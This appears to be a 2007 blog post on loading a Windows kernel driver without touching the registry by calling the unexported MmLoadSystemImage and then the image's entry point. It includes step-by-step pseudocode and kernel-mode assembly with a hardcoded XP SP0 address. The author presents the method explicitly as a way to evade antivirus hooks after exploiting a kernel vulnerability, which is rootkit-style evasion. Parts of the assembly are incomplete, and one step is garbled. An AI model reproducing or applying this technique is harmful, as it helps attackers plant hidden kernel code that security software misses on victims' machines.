Thursday, January 11. 2007
"How to load driver without touching registry from kernel mode", this is asked almost always. Today, I will give you an insight into how Windows loads its driver and then will document a new method to load a driver without touching registry.
This is required because even if you exploit kernel vulnerabilities ,you still cannot load any driver because almost all existing Antivirus solutions hijack the NTOSkrnl API's ( which let you write to specific registry locations, load drivers etc).
The first method to load driver is given below:
Windows NT loads drivers using the following function ZwLoadDriver.
Its declaration is as follows:
NTSTATUS ZwLoadDriver (IN PUNICODE_STRING DriverServiceName);
DriverServiceName: Pointer to a counted Unicode string that specifies a path to the driver's registry key, \Registry\Machine\System\CurrentControlSet\Services\DriverName, where DriverName is the name of the driver
The Second Method is given below:
After Windows 2000 start's up, It starts loading the special driver win2k.sys.It doesn't load in the traditional way (as all other drivers are loaded) by calling the following procedures ZwLoadDriver, NtLoadDriver etc.
It actually loads by the following kernel API ZwSetSystemInformation.
This API is used to set system information such as page file, loads the above driver, file cache( information working set) etc.
It is actually implemented as follows:
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
//specifies operation to do
IN PVOID SystemInformation, //specifies operation data
IN ULONG SystemInformationLength ) //specifies data length
it's internally implemented as follows:
Case 5: ;this actually extends the system service descriptor table
call entrypoint(driverobject,NULL) ;
These 2 are the only known method of loading drivers.
Here is the third method. (No antivirus solution currently hijacks it so it is safe).
As seen above ZwSetSysteminformation loadimage function to load driver into memory and then calls its entry point.
Now we will briefly analyze the parameters and functionality of MmLoadSystemImage
MmLoadSystemImage(UNICODE STRING Imagepath, UNICODE STRING prefix optional,UNICODE STRING basename optional,
ULONG unknown=0,PVOID imagehandle,PVOID baseaddress);
ImagePath is a fully qualified NT style pathname
prefix is added to pathname when loading driver
basename is the name system shows after module has been loaded
unknown is unknown
*imagehandle is the handle to section(it's already referenced, so you will have dereference it at unload)
*baseaddress is the address at which image has been loaded in kernel memory
This function actually loads the image in memory, resolves imports,loads dependencies, etc.
In Windbg,u can find the address of above function using "d MmLoadSystemImage" (of course ,symbols are required)
NOTE:- MmLoadSystemimage internally calls and checks the image after loading it into memory so make sure the checksum for the image is fine.This functionality is done by the MiCheckSystemImage.The import resolving job and dependency loading is done by MiResolveImageReferences API.
Thee MmloadSystemimage works as follows: (PseudoCode)
1) traverse existing module list to check whether it has been alredy loaded
2) if it exists return error (image already loaded STATUS_IMAGE_ALREADY_LOADED) and return from call
3) try to open file using Zwopenfile,if file cannot be opened,just return with error code
4) compute image checksum and match it with checksum stored in header
5) if checksum doesn't matches. return with error code
6) create a section with zwcreatesection and then reference it
7) map it into kernel space using mMapViewInSystemSpace
Cool if necessary apply relocations to image using function LdrRelocateImage
9) resolve refrences iusing MiResolveImageReferences
10) then create an entry in psmoduleloadedlist for the module
11) make it writeprotect
12) then close file handle
13) return from call
So, now we have a function which loads image in memory, but what about calling Driver Entry (entry point of driver). This information can be obtained from the PE headers itself after the image successfully loads in memory. This method has been and can used to load and execute drivers, native applications etc directly from kernel mode
Here is the assembly code (kernel mode assembly code). it has been tested on Windows XP SP0 English Version.After minor modifation code runs on win2k,xp,2k3 etc
;below code loads the driver in memory
mov dword [Stack],esp //save stack
;paramters as always are passed in reverse
push DWORD Driverbase ;it stores driver base
push DWORD ImageHandle ;it stores section handle
push dword 0
push dword 0
push dword 0
push DWORD U_STRINGloc ;it points to unicode string containing driver to load
mov edi, 0x805c03ae ;MmLoadSystemImage address function on Win XP SP0 English version,(OS and SP dependent data)
cmp eax,0 ;check whether driver loaded successfully in memory
jne drivernotloaded ; if loading failed, exit without calling entrypoint
;since driver has loaded successfully call its init function both parameters are passed 0
mov DWORD edi, [Driverbase]
mov DWORD ebx ,[edi + 0x3c] ;to get offset of optional header
mov dword ebx,[edi + ebx + 0x18 + 0x10] ; to get entry point ofset from base of code
add edi ,ebx ; add base + entry point to get entry point in memory
push 0 ;
call edi ;call entry point (Driver Entry in case of Drivers)
mov dword esp,[ Stack] ; correct stack so as execution continues
; Here data and/or variables are stored
; This is the driver to load including path name
;DosDevices@:hooka.sys length 48
;it's used to store driver base address
;it's used to store section handle
;it is used to store Stack location
;structure used for unicode strings in memory
Length: resw 1
MaximumLength: resw 1
Buffer: resd 1
//asm code ends here
NOTE: - These API's or functions are not exported by NTOSKRNL, but these exist for internal usage.These functions are not hooked by any anti-virus solutions, so these can be used to load drivers and native application and then run them.
That's all about loading a driver from kernel mode without touching registry.
Also,the code does some error checking,so as no hard error occurs.
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